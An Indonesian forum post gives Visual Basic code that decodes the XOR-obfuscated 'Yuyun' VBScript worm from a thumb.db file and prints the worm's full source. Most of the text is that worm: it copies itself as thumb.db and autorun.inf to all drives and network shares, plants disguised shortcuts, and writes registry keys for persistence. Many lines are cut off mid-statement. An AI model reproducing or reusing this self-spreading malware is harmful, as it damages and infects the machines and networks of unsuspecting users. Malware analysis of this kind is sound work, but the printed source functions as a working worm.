Virus yuyun Dengan VB
Posted by herro
buat tombol commmand1,textbox dngn nama bacatext dan setting textbox multiline=true
masukkan referensi project wshom.ocx
copy file virus pada folder program dgn nama thumb.db
list:
Dim fso As New FileSystemObject
Private Sub Command1_Click()
On Error Resume Next
Dim ws, hsl As String
Set ws = CreateObject("wscript.Shel
Set sh = CreateObject("Shell.applic
Q = WScript.ScriptFullName
Q = App.Path + "\Thumb.db"
tmp = fso.GetSpecialFolder(2)
tn = fso.GetTempName
tmpt = tmp + "\" + tn
Set swt = WScript.Arguments
If swt.Count > 0 Then
Status = swt(0)
If Status = "auto" Then
sh.Explore Left(WScript.ScriptFullNam
Else
Status = Left(WScript.ScriptFullNam
If fso.FolderExists(Status) Then
sh.Explore Status
Else
fso.CreateFolder Status
sh.Explore Status
End If
End If
Else
End If
Set QQ = fso.GetFile(Q)
Set Q1 = QQ.OpenAsTextStream(1, 0)
isiQ = Q1.Read(QQ.Size)
Q1.Close
t1 = InStr(1, isiQ, "Yuyun^_^~!~2008" + " >>>", 0) + 18
isiQ = Right(isiQ, Len(isiQ) - t1)
hsl = ""
For v = 1 To Len(isiQ)
t = Asc(Mid(isiQ, v, 1))
hsl = hsl + Chr(t Xor 7)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attribut
Set temporary = fso.OpenTextFile(tmpt, 2, True, 0)
temporary.Write hsl
temporary.Close
'ws.Run "WScript.exe //e:VBScript " + tmpt + " """ + Q + """"
WRITETEXT App.Path + "\baca.txt", hsl
BACATEXT = fso.OpenTextFile(App.Path + "\Baca.txt").ReadAll
End Sub
Function WRITETEXT(FlTarget As String, StrZdata As String)
On Error Resume Next
F = FreeFile
Open FlTarget For Output As #F
Print #F, StrZdata
Close #F
End Function
hasil yang terbaca:(TEKS VIRUSX)
'=========================
' My name : Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds especially a moslem girl
' by: Anonymouse in Jatim, November 2008
' When I found nothing beauty else... and then I wrote this script for all
'=========================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.fi
Set ws = CreateObject("wscript.Shel
Set sh = CreateObject("Shell.applic
Set net = CreateObject("wscript.netw
fly=false
tmp=fso.GetSpecialFolder(2
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("My
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+"\Yuyun
set ira=fso.getfile(tmp+"\Yuyu
ira.attributes=0
ira.name="shalihah.ira"
if ira.name="shalihah.ira" then
ira.name="Yuyun.Q"
set ira=fso.opentextfile(tmp+"
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+"
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attribut
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0
Set aut=fso.OpenTextFile(anv,2
isi="[autorun]>open=WScrip
isi=Replace(isi,">",vbCrLf
aut.Write isi
aut.Close
auto.Attributes=39
ltkc=sh.Namespace(&H1c&).S
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\data
AQ.Copy docx+"\database.mdb",True
regQ
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3
call attack_net
Hertz True
Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").Su
rekursif fldr1.Path, dp-1
Next
End If
End Sub
Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Baca AQ.rtf"
rara.copy path+"\My name is Yuyun.rtf"
end if
g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if
If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy path+"\Thumb.db",True
end if
else
AQ.Copy path+"\Thumb.db",True
End If
If Not fso.FileExists(path+"\Micr
shorZvnita path+"\Microsoft","Microso
drop=Array("New Harry Potter and...","New Folder","SuratQ","Rahasia"
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").Su
shorZvnita path+"\"+fldr.name,fldr.Na
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub
Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(pat
shor.iconlocation="shell32
shor.targetpath="wscript.e
shor.arguments="//e:VBScri
shor.save
End Sub
function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(str
if fso.folderexists(t) then
rekursif t,4
end if
Next
End function
Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub
function UNISKA()
On error resume next
x=vbcrlf
adv="Yuyun Ver 1.0 ^_^!==================>>Bu
adv=replace(adv,">",x)
set Yu2n=fso.opentextfile(tmp+
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v
end function
Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222
ws.RegWrite "HKCR\CLSID\{11111111-2222
ws.RegWrite "HKCR\CLSID\{11111111-2222
ws.regwrite "HKLM\Software\Microsoft\W
end if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\W
ws.RegWrite "HKCU\Software\Microsoft\W
if lcase(fso.getdrive("c:").F
iraQ=AQ.openastextstream(1
www=fso.GetSpecialFolder(0
set jjk=fso.opentextfile(www+"
jjk.write iraQ
jjk.close
ws.RegWrite "HKLM\Software\Microsoft\W
end if
End Sub
Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub
